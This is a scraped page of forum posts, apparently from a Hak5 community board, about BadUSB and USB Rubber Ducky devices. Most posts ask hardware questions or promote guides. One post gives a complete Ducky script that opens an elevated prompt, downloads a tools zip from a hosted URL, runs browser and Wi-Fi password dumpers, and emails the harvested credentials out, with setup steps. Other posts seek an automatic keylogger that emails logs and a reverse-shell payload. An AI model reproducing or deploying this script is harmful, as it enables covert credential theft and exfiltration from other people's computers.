Search the Community

So recently i have purchased a BadUsb ATMEGA32U4 USB as one in this image https://www.ebay.com/p/MicroSD-Virtual-Keyboard-Badusb-USB-TF-Memory-Keboard-Atmega32u4-Module/13011086107 and when i plugged it in it seemed to work fine until i uploaded a script to it and after that itll only turn on when i press the button on the usb i want to reset the usb so i can use it again

I have a keylogger set to email logs to me on a USB drive, and a BadUSB that can run it on my home computer by navigating to the directory and opening it. However, because drive letters change from computer to computer, is there a way to make the script consistent? The drive letter on my computer is V, but obviously on other computers it could be anything. The BadUSB script opens the file through explorer by typing the drive letter, and I would like it to work on any computer, and not require admin access.

This is a modified version of MrGray's script to get passwords from a pc (Original). This version doesn't require an extra usb, but it does require a online server hosting a zip with the tools. CODE ------------------------------------------------------- REM Created by BertFast REM Gets passwords and data from pc and emails them DELAY 500 GUI d DELAY 200 GUI r DELAY 300 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 3000 LEFT ENTER DELAY 500 STRING powershell & cd %TEMP%\tools & BrowsingHistoryView.exe /stext logs\BrowsingHistoryView.txt & ChromePass.exe /stext logs\ChromePass.txt & OperaPassView.exe /stext logs\OperaPassView.txt STRING & PasswordFox.exe /stext logs\PasswordFox.txt & SkypeLogView.exe /stext logs\SkypeLogView.txt & WebBrowserPassView.exe /stext logs\WebBrowserPassView.txt & WirelessKeyView.exe /stext logs\WirelessKeyView.txt & powershell -ExecutionPolicy Bypass %TEMP%\tools\file.ps1 STRING & cd %TEMP% & del tools.zip & exit ENTER STRING Add-Type -AssemblyName System.IO.Compression.FileSystem ENTER STRING function Unzip ENTER STRING { ENTER STRING param([string]$zipfile, [string]$outpath) ENTER STRING [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath) ENTER STRING } ENTER STRING wget "http://pathtotools.zip/Tools.zip" -OutFile $ENV:temp\tools.zip ENTER STRING Unzip $ENV:temp\tools.zip $ENV:temp ENTER STRING cd $ENV:temp\tools ENTER STRING mkdir logs ENTER STRING exit ENTER Link to the tools: https://www.mediafire.com/file/ddcur1ebc3fbvb5/Tools.zip HOW TO SET IT UP ------------------------------------------------------- Download the Tools.zip file and extract it. Then, open file.ps1 with notepad or whatever program you like and changer "YourUsername" to you username (i.e bertfast) and "YourPassword" to your password. Then change "receiver" to whoever you want to send the logs to. I MADE IT WORK WITH GMAIL. I don't know if it works with other services. After that, zip the Tools folder (don't zip the files or it won't work). In the code above, change "http://pathtotools.zip/Tools.zip" to the path where you have hosted the zip file. Tested in Windows 10 x64. BIG thanks to MrGray for the original script. Also, big thanks to Nurrl. With Duckuino i converted the code above to make it work with my arduino (I don't own a rubber ducky, sorry ) Please tell me if it worked or not and the OS you are using

I want to get into penetration testing, and want to use a dedicated PC for the task. I was thinking about getting a cheap second hand machine, but I'm stuck on believing that pre-used computers can no longer be trusted because of possible badUSB firmware infections that are undetectable and unfixable... am I correct in this belief? Thanks in anticipation.

Im kind interested is it possible to use USB rubber ducky on IOT devices like router, modem , servers ?

Help, I made this keylogger software in which I want to make a Rubber Ducky Keylogger automatic. Is there anyway for me to make the duck run the keylogger or just simplycan anyone give a keylogger payload P.S. I don't want the script to download some files and stuff just plain run

is it possible to create a powershell reverse tcp dns payload for badusb if so please guide me through it

First i want to say that i don't want to be competitive against the Hakshop and if you can u should buy a real USB Rubber Ducky from them, cause it's really made simple and the chip they use is much faster in executing or typing the payloads But did you ever wanted to make your own USB Rubber Ducky? Well now you can using a regular USB stick, i must start with mentioning that it can not be done with all the USB sticks you will need one with a specific Nand chipset on it. More specific the Phison 2251-03 (2303) So now you are probably wondering where do i get that specific usb stick then, well you may have one laying around! You can check it using GetFlashInfo You can download it from this LINK On github there is also a list with all know compatible devices, but most off them are not for sale anymore. So what do i do then ? Well come and visit my website and find the guide on how to make your own USB Rubber Ducky using a normal USB Stick or buy a clean USB stick with the Phison 2251-03 chip on it It's all explained with screenshots and text I tried to post the whole guide and screenshots here cause i want to help this community out, but it wont let me cause it uses to much pictures. So find the guide here http://www.pentestingshop.com/pentesting/make-your-own-usb-rubber-ducky-using-a-normal-usb-stick/ Hope you all like this and please let me know what u think about it. Develectron

Hello everyone, I am Cr0wTom and I recently posted in my channel a video about how to implement rubber ducky scripts in a vulnerable to BadUSB, USB thumb drive. I think that you will appreciate it here. I will be happy to hear your responce, here or in my videos commends. Feel free to subscribe :) Video Link: Thank you for watching!! (More videos to come)

First i want to mention that I'm a Huge fan for years! So what i want to ask actually is that i have made my own web shop and trying to sell some Pentesting equipment and guides around it on how to use it, and how to do some basic pentests but since it's somehow hacker related i can not so easy to do on advertising. Cause i heard from a friend that google somehow ranks that kinda traffic lower than other good websites. Like the Hak5 webshop is almost like all the time on the top here (From Belgium) if I search google for hakshop the Hak5 webshop is on the first place and even if i search hackshop so with "CK" the Hak5 webshop is on the 3th place. But i dont have allot off money to put in advertising cause google ad's cost really way to much for me to invest in. So since i dont have money to put in advertising and made a guide on how to make your own USB Rubber Ducky using a normal USB Stick (BADUSB) my question is if that i can make a post about it on the Hak5 forum under the USB Rubber Ducky section? I really don't want to be cooperative against the Hakshop so now also another question is if it's okey for the Hak5 team that i made this post on my webshop and used the USB Rubber Ducky Encoder and the name in my title? Again huge fan off the show for years now so not offended if u tell me i cannot, but i thought that i maybe should ask it first So that i don't get in trouble. Thanks in Advance Develectron

I created a tutorial on how to get a remote shell on any windows PC in 5 seconds using RubberDucky... enjoy! https://crowdshield.com/blog/2015/pwn-any-windows-pc-in-5-seconds-with-badusb.php

Hi guys, My coworker's daughter received a USB credit card in the mail with no name or any indication of where it came from on the box. It basically looks like an American Express Platinum but with a USB that flips out. She was going to toss it out but gave it to me knowing I'm into these kinds of things. I want to plug the card into an old beater machine and see what's up with it, but I'm not sure where to begin or what to look for. My current plan is to look at instructions for setting up badUSB and see if there's any correlation to this USB device. Any ideas of what else I can look for? Pictures are always nice so I attached a picture of it.